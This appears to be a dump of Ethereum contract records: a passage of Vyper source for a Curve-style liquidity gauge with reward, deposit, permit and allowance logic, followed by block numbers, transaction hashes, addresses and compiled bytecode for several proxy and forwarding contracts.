keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for `addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,337
2e16f4f2262acb52ff15dba85f7019ba54433a735f13d7a89383aca414ffa508
39ed5d51c0b755f236a76d4056fa7a8b0ec91d1bb49a82b121e8f1deaa4b1098
a2c609f20bd3f4f6c797d5128087e0488d44b437
a2c609f20bd3f4f6c797d5128087e0488d44b437
0000044df539ca39fbebc29d22cf427759e80000
608060405234801561001057600080fd5b5060405161084438038061084483398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6107b1806100936000396000f3fe6080604052600436106100225760003560e01c8063caa5c23f146100a157610032565b3661003257610030346100c1565b005b6040517f11111111111111111111000000000000000000000000000000000000000000006020820152602a0160405160208183030381529060405280519060200120600036604051610085929190610442565b604051809103902003610098575b610093565b610030346100c1565b3480156100ad57600080fd5b506100306100bc3660046104fe565b6101ea565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9b2d7f6500000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161013291610651565b6000604051808303816000865af19150503d806000811461016f576040519150601f19603f3d011682016040523d82523d6000602084013e610174565b606091505b509150915060008180602001905181019061018f9190610680565b9050806001600160a01b03168460405160006040518083038185875af1925050503d80600081146101dc576040519150601f19603f3d011682016040523d82523d6000602084013e6101e1565b606091505b50505050505050565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa0e67e2b00000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161025b91610651565b6000604051808303816000865af19150503d8060008114610298576040519150601f19603f3d011682016040523d82523d6000602084013e61029d565b606091505b50915091506000818060200190518101906102b891906106a4565b90506000805b8251811015610314578281815181106102d9576102d961073e565b60200260200101516001600160a01b0316326001600160a01b0316036103025760019150610314565b8061030c81610754565b9150506102be565b5080610380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420616e206f776e657200000000000000000000604482015260640160405180910390fd5b60005b855181101561043a5760008682815181106103a0576103a061073e565b6020026020010151600001516001600160a01b03168783815181106103c7576103c761073e565b6020026020010151602001516040516103e09190610651565b6000604051808303816000865af19150503d806000811461041d576040519150601f19603f3d011682016040523d82523d6000602084013e610422565b606091505b5050905050808061043290610754565b915050610383565b505050505050565b8183823760009101908152919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561048b5761048b610452565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156104ba576104ba610452565b604052919050565b600067ffffffffffffffff8211156104dc576104dc610452565b5060051b60200190565b6001600160a01b03811681146104fb57600080fd5b50565b6000602080838503121561051157600080fd5b823567ffffffffffffffff8082111561052957600080fd5b818501915085601f83011261053d57600080fd5b813561055061054b826104c2565b610491565b81815260059190911b8301840190848101908883111561056f57600080fd5b8585015b838110156106445780358581111561058b5760008081fd5b86016040601f19828d0381018213156105a45760008081fd5b6105ac610468565b8a8401356105b9816104e6565b815283830135898111156105cd5760008081fd5b8085019450508d603f8501126105e35760008081fd5b8a840135898111156105f7576105f7610452565b6106078c84601f84011601610491565b92508083528e8482870101111561061e5760008081fd5b808486018d85013760009083018c0152808b019190915285525050918601918601610573565b5098975050505050505050565b6000825160005b818110156106725760208186018101518583015201610658565b506000920191825250919050565b60006020828403121561069257600080fd5b815161069d816104e6565b9392505050565b600060208083850312156106b757600080fd5b825167ffffffffffffffff8111156106ce57600080fd5b8301601f810185136106df57600080fd5b80516106ed61054b826104c2565b81815260059190911b8201830190838101908783111561070c57600080fd5b928401925b82841015610733578351610724816104e6565b82529284019290840190610711565b979650505050505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161077457634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220dd25f0d5476ea66b0888e933a8c0779f7a9cadd35b8c83e5ad98897a88d5232064736f6c634300081200330000000000000000000000000000e23abdc862a1911d77904e77fdb378d00000
6080604052600436106100225760003560e01c8063caa5c23f146100a157610032565b3661003257610030346100c1565b005b6040517f11111111111111111111000000000000000000000000000000000000000000006020820152602a0160405160208183030381529060405280519060200120600036604051610085929190610442565b604051809103902003610098575b610093565b610030346100c1565b3480156100ad57600080fd5b506100306100bc3660046104fe565b6101ea565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9b2d7f6500000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161013291610651565b6000604051808303816000865af19150503d806000811461016f576040519150601f19603f3d011682016040523d82523d6000602084013e610174565b606091505b509150915060008180602001905181019061018f9190610680565b9050806001600160a01b03168460405160006040518083038185875af1925050503d80600081146101dc576040519150601f19603f3d011682016040523d82523d6000602084013e6101e1565b606091505b50505050505050565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa0e67e2b00000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161025b91610651565b6000604051808303816000865af19150503d8060008114610298576040519150601f19603f3d011682016040523d82523d6000602084013e61029d565b606091505b50915091506000818060200190518101906102b891906106a4565b90506000805b8251811015610314578281815181106102d9576102d961073e565b60200260200101516001600160a01b0316326001600160a01b0316036103025760019150610314565b8061030c81610754565b9150506102be565b5080610380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420616e206f776e657200000000000000000000604482015260640160405180910390fd5b60005b855181101561043a5760008682815181106103a0576103a061073e565b6020026020010151600001516001600160a01b03168783815181106103c7576103c761073e565b6020026020010151602001516040516103e09190610651565b6000604051808303816000865af19150503d806000811461041d576040519150601f19603f3d011682016040523d82523d6000602084013e610422565b606091505b5050905050808061043290610754565b915050610383565b505050505050565b8183823760009101908152919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561048b5761048b610452565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156104ba576104ba610452565b604052919050565b600067ffffffffffffffff8211156104dc576104dc610452565b5060051b60200190565b6001600160a01b03811681146104fb57600080fd5b50565b6000602080838503121561051157600080fd5b823567ffffffffffffffff8082111561052957600080fd5b818501915085601f83011261053d57600080fd5b813561055061054b826104c2565b610491565b81815260059190911b8301840190848101908883111561056f57600080fd5b8585015b838110156106445780358581111561058b5760008081fd5b86016040601f19828d0381018213156105a45760008081fd5b6105ac610468565b8a8401356105b9816104e6565b815283830135898111156105cd5760008081fd5b8085019450508d603f8501126105e35760008081fd5b8a840135898111156105f7576105f7610452565b6106078c84601f84011601610491565b92508083528e8482870101111561061e5760008081fd5b808486018d85013760009083018c0152808b019190915285525050918601918601610573565b5098975050505050505050565b6000825160005b818110156106725760208186018101518583015201610658565b506000920191825250919050565b60006020828403121561069257600080fd5b815161069d816104e6565b9392505050565b600060208083850312156106b757600080fd5b825167ffffffffffffffff8111156106ce57600080fd5b8301601f810185136106df57600080fd5b80516106ed61054b826104c2565b81815260059190911b8201830190838101908783111561070c57600080fd5b928401925b82841015610733578351610724816104e6565b82529284019290840190610711565b979650505050505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161077457634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220dd25f0d5476ea66b0888e933a8c0779f7a9cadd35b8c83e5ad98897a88d5232064736f6c63430008120033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
4d0a6c38ff770046075185e6afae42262e838e40
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
21b6c641ed87ca285a3909e9dd4569b67bbd4582
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
2a032e4d3dacd7eda3a9fddfb4d9e3ae92bbdf73
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
5cb292cbf569171cd6a7f0dba53f435f46bcd619
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
0940b0ebbb5572fe8998afdfe27515aeb5750273
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
a498e2333e3a4fdf2f249bfb6904094ca7b5a70e
